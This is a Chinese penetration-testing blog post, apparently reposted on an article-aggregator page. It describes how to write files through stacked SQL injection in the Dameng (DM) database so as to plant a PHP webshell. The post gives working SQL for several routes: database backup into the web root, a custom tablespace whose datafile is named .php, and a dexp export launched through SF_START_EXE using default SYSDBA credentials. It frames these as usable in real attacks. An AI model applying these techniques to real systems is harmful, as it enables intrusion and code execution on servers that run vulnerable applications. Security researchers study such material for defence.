当前位置: 首页 > news >正文

达梦数据库写文件的方式探索

0x01 前沿

这篇文章整体算是《达梦数据库手工注入笔记》的续集,达梦作为国内优秀的信创数据库,在关基单位中拥有越来越大的用户使用量。

通过SQL注入来写文件一直以来都是SQL注入漏洞深入利用的一种方式,对于不同的数据库通常写文件的方式也是不一样的。通过笔者的探索发现,达梦数据库(以后简称DMSQL)写文件的方式也与其它数据库存在较大的差异。

DMSQL默认情况下是支持堆叠注入的(笔者试了官方给的java版本的SDK,其它版本未尝试),也就是说在注入的时候支持多语句,支持多语句为攻击者提供了对SQL注入漏洞进行深入利用的遐想,也使得本文利用DMSQL写文件的研究具有实际意义。

0x02 探索

熟悉渗透的小伙伴都会有一些通过SQL注入写文件的技巧,我们首先通过两种经典的写文件方式来探索达梦写文件的不同。

1) 通过into outfile方式写文件

在MySQL数据库中可以通过经典的into outfile来把查询结果保存在文件中,但是在DMSQL中并没有相应的语法,也没有into dumpfile的语法,如下图所示:

图片

2) 通过backup database方式写文件

在MSSQL数据库中可以通过备份的方式来写文件,而且在DMSQL中也存在相似的语法,如下图所示:

图片

本以为应该是以与MSSQL相似的手法就可以直接备份写文件,但在实际使用过程中发现并非如此,DM数据库默认是不允许进行备份的,必须首先开启归档模式才能进行备份。

图片

在默认安装的DM数据库中,要通过备份数据库的功能实现文件写入,完整的代码如下:

-- 使数据库转变为OPEN模式alter database open; -- 先完整的对数据 进行一次备份,目录不存在会自动创建backup database backupset 'C:\phpstudy_pro\WWW\xxx\';-- 新建一张表并向表中写入一条带有webshell的数据。其中DEM换成实际可以建表的库名CREATE TABLE "DEM"."EXP14"("id" INTEGER NOT NULL,"name" VARCHAR(50),"content" VARCHAR(50)) STORAGE(ON "MAIN", CLUSTERBTR) ;insert into "DEM"."EXP14" values(1,'aaa', '<?php phpinfo(); ?>');-- 增量备份,,并定义保存文件路径和调试文件路径BACKUP DATABASE increment BACKUPSET 'C:\phpstudy_pro\WWW\121.php' TRACE FILE  'C:\phpstudy_pro\WWW\213.php' TRACE LEVEL 2;

使用上面的代码可以在系统上生成文件,由于DM备份时可以指定保存文件的路径,生成的文件名和路径有关,整体文件目录结构如下:

121.php  (目录)121.php.bak (文件)121.php.meta (文件)121.php_1.bak (文件)213.php (文件)

这里面C:\phpstudy_pro\WWW\121.php\121.php.bak文件中保存了备份表中内容信息,如果系统本身存在解析漏洞,可以通过这种方式来达到getshell的效果。

图片

C:\phpstudy_pro\WWW\213.php文件中保存了备份过程日志信息,虽然文件名可以自定义,但是内容并不能任意控制,导致并不能通过TRACE FILE来getshell。

图片

通过backup语句来写文件并不能完整的控制文件名和文件内容,导致只能在特定场景下可以使用,并不是一个好的写文件思路。

3) 通过自定义命名空间来写文件

创建表空间(tablespace)是为了更好地管理数据库的物理存储结构。不同的表空间可以存储在不同的磁盘上,有助于优化I/O性能,同时也可以实现数据的逻辑分组。目前许多数据库包括oracle、postgreSQL等都支持自定义表空间,达梦也支持自定义表空间,可以通过此种方式来写文件,具体的写法如下:

-- 创建表空间,自定义表空间保存的文件路径和名字create tablespace "xiao3" datafile 'C:\phpstudy_pro\WWW\xiao3.php' size 32;-- 向自定义的表空间创建一张表,并插入带webshell的内容CREATE TABLE "DEM"."EXP15"("id" INTEGER NOT NULL,"name" VARCHAR(50),"content" VARCHAR(50)) STORAGE(ON "xiao3", CLUSTERBTR);insert into "DEM"."EXP15" values(1,'aaa', '<?php phpinfo(); ?>');

访问生成的C:\phpstudy_pro\WWW\xiao3.php文件,可以实现代码解析。

图片

通过自定义命名空间的方式来写文件可以实现完全自主可控的文件名和文件内容,对用户权限要求也不是很高,但是缺点是文件太大(我默认安装的DM,最小的文件是32M)。

本以为通过这种方式就可以在存在SQL注入漏洞的点通过自定义命名空间来达到任意文件写入的效果,但在实际的环境中遇到了报错“语句类型不匹配”。

图片

这主要是因为针对不同类型的SQL语句,通常需要调用不同的方法来执行,在Java语言中,DM通过dm.jdbc.driver.DmdbStatement类提供数据操作方法。

方法

作用

示例

executeQuery

执行查询类语句,返回相应查询结果

SELECT * FROM users WHERE "id"=1

executeUpdate

执行修改类语句,返回是否修改成功

UPDATE users SET "name"=’xxx’ where "id"=1

execute

执行所有SQL语句,返回语句是否执行成功

CREATE TABLESPACE "namex" DATAFILE ‘/dbms/namex’ SIZE 32

从上表可以看出一般系统中存在的SQL注入漏洞是在executeQuery方法中,通过这个方法传入自定义命名空间的SQL语句,则会报“语句类型不匹配”的异常,导致写文件失败。

4) 通过dexp文件导出方式写文件

dexp是DM官方提供的文件导出的命令行工具,如下图所示。dexp提供了可以把数据表导出成本地文件的功能,并支持自定义导出的文件名。

图片

本来dexp是命令行的工具,在DM数据库SQL语句中并不能直接使用,但是DM提供了预定义的函数SF_START_EXE可以调用dexp方法,使用方法如下所示:

SF_START_EXE('dexp', 'SYSDBA/SYSDBA@127.0.0.1:5236 FILE=mi.php DIRECTORY=C:\tmp\ TABLES=EXY.EXP',0,'/');
TABLES=EXY.EXP 代表可控内容的一张表,表中包含有webshell信息FILE=mi.php 自定义文件名DIRECTORY=C:\tmp\ 自定义文件路径SYSDBA/SYSDBA@127.0.0.1:5236 DM数据库地址端口及对应的账号密码

模拟在executeQuery方法中存在的SQL注入漏洞,通过堆叠注入调用SF_START_EXE方法来写文件,如下图所示:

图片

通过SF_START_EXE来写文件不会触发“语句类型不匹配”的问题,并且支持完全可控的自定义文件名和路径,是目前为止最好用的通过DM数据库SQL注入来写文件的方式之一。

0x03 总结

DM数据库本身提供了很多写文件的方式,但是能在实际攻击场景中使用的写文件方法并不多。目前关于DM数据库特性研究的文章还不是很多,SF_START_EXE是目前笔者实际测试中最好用的方法。

相关文章:

  • HTML动态响应2-Servlet+Ajax实现HTTP前后台交互方式
  • msvcp100.dll丢失怎样修复?几种快速有效修复msvcp100.dll丢失的方法
  • 02-CSS3基本样式
  • Python教程-快速入门基础必看课程04-LIST基础
  • IDEA 常用技巧
  • ema_mnist_blog
  • SpringBoot项目中如何使用Redisson队列详解
  • 机器字长与操作系统的关系
  • 每天一个数据分析题(三百四十三)
  • 先导微型数控桌面式加工中心
  • 如何 使用Cubemax配置串口1.5得停止位
  • Vue2中的计算属性(computed)和监听属性(watch)
  • 【因果推断python】6_图因果模型
  • 释放视频潜力:Topaz Video AI for mac/win 一款全新的视频增强与修复利器
  • ROS2在RVIZ2中加载机器人urdf模型
  • 自己简单写的 事件订阅机制
  • [译]CSS 居中(Center)方法大合集
  • 2017-09-12 前端日报
  • C++回声服务器_9-epoll边缘触发模式版本服务器
  • HTML中设置input等文本框为不可操作
  • k8s 面向应用开发者的基础命令
  • LeetCode刷题——29. Divide Two Integers(Part 1靠自己)
  • mysql innodb 索引使用指南
  • nginx(二):进阶配置介绍--rewrite用法,压缩,https虚拟主机等
  • Python利用正则抓取网页内容保存到本地
  • 从零开始的webpack生活-0x009:FilesLoader装载文件
  • 看域名解析域名安全对SEO的影响
  • 前端
  • 线性表及其算法(java实现)
  • 仓管云——企业云erp功能有哪些?
  • # Panda3d 碰撞检测系统介绍
  • #Lua:Lua调用C++生成的DLL库
  • (Mac上)使用Python进行matplotlib 画图时,中文显示不出来
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (介绍与使用)物联网NodeMCUESP8266(ESP-12F)连接新版onenet mqtt协议实现上传数据(温湿度)和下发指令(控制LED灯)
  • (强烈推荐)移动端音视频从零到上手(下)
  • (十一)图像的罗伯特梯度锐化
  • (五十)第 7 章 图(有向图的十字链表存储)
  • (转)AS3正则:元子符,元序列,标志,数量表达符
  • (转)mysql使用Navicat 导出和导入数据库
  • (转)可以带来幸福的一本书
  • .net 4.0发布后不能正常显示图片问题
  • .NET Core 项目指定SDK版本
  • .net core 依赖注入的基本用发
  • .NET WebClient 类下载部分文件会错误?可能是解压缩的锅
  • .NET 中小心嵌套等待的 Task,它可能会耗尽你线程池的现有资源,出现类似死锁的情况
  • .NET/C# 在 64 位进程中读取 32 位进程重定向后的注册表
  • .net6Api后台+uniapp导出Excel
  • .NET连接数据库方式
  • .Net实现SCrypt Hash加密
  • .Net通用分页类(存储过程分页版,可以选择页码的显示样式,且有中英选择)
  • /bin、/sbin、/usr/bin、/usr/sbin
  • [ C++ ] STL_vector -- 迭代器失效问题
  • [ C++ ] STL---仿函数与priority_queue
  • [] 与 [[]], -gt 与 > 的比较